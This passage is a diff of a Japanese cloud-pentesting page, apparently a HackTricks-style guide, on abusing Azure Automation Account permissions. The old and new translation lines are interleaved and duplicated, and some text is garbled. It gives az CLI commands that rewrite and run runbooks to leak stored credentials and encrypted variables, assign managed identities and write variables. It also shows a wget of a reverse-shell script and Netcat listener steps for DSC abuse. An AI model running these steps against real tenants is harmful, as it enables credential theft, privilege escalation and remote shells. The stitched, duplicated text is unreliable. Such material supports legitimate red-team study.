要約すると、これらの権限は**オートメーションアカウント内でランブックを作成、変更、実行する**ことを可能にし、オートメーションアカウントのコンテキストで**コードを実行**し、割り当てられた**マネージドアイデンティティ**に特権を昇格させ、オートメーションアカウントに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
要約すると、これらの権限は**Automation Account内でRunbooksを作成、変更、実行する**ことを可能にし、これを使用して**Automation Accountのコンテキストでコードを実行し、割り当てられた**Managed Identities**に特権を昇格させ、Automation Accountに保存された**資格情報**や**暗号化された変数**を漏洩させることができます。
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、オートメーションアカウント内のランブックのコードを次のように変更することを許可します:
権限**`Microsoft.Automation/automationAccounts/runbooks/draft/write`**は、Automation Account内のRunbookのコードを次のように変更することを許可します:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -36,7 +47,7 @@ $runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'
```
前のスクリプトが、Automation Accountに保存されている資格情報の**ユーザー名とパスワード**、および**暗号化された変数**のを**漏洩**させるためにどのように使用できるかに注意してください。
前のスクリプトが、Automation Accountに保存され**暗号化された変数**のユーザー名とパスワードを**漏洩させる**ためにどのように使用できるかに注意してください。
権限**`Microsoft.Automation/automationAccounts/runbooks/publish/action`**は、ユーザーがAutomation Account内でRunbookを公開できるようにし、変更が適用されることを許可します。
```bash
@@ -58,13 +69,13 @@ az automation runbook start \
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
```
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
Runbookが作成されていない場合、または新しいものを作成したい場合は、次の操作を行うために**permissions `Microsoft.Resources/subscriptions/resourcegroups/read` and `Microsoft.Automation/automationAccounts/runbooks/write`**が必要です:
```bash
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
```
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のアイデンティティ**を割り当てることを許可します:
この権限は、ユーザーが次の方法でAutomation Accountに**ユーザー管理のID**を割り当てることを許可します:
```bash
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
@@ -196,14 +207,14 @@ az automation source-control create \
```
これにより、GithubリポジトリからAutomation Accountにランブックが自動的にインポートされ、いくつかの他の権限を持ってそれらを実行し始めることができれば、**権限を昇格させることが可能**です。
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザーマネージドアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
さらに、Automation Accountsでソース管理が機能するためには、**`Contributor`**の役割を持つマネージドアイデンティティが必要であり、ユーザー管理のアイデンティティの場合は、MIのクライアントIDを変数**`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**に指定する必要があります。
> [!TIP]
> 作成後にソース管理のリポジトリURLを変更することはできないことに注意してください。
### `Microsoft.Automation/automationAccounts/variables/write`
権限**`Microsoft.Automation/automationAccounts/variables/write`**を使用すると、次のコマンドを使用してAutomation Accountに変数を書き込むことができます。
権限**`Microsoft.Automation/automationAccounts/variables/write`**を持つことで、次のコマンドを使用してAutomation Accountに変数を書き込むことが可能です。
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
@@ -255,9 +266,9 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
- ステップ 5 — 構成ファイルの公開
構成ファイルが実行され、リバースシェルスクリプトがWindows VMの指定された場所にデプロイされます。
構成ファイルが実行され、リバースシェルスクリプトが指定された場所にWindows VMにデプロイされます。
- ステップ 6 — ペイロードのホスティングとリスナーの設定
- ステップ 6 — ペイロードのホスとリスナーの設定
PythonのSimpleHTTPServerがペイロードをホストするために起動され、Netcatリスナーが着信接続をキャプチャします。
```bash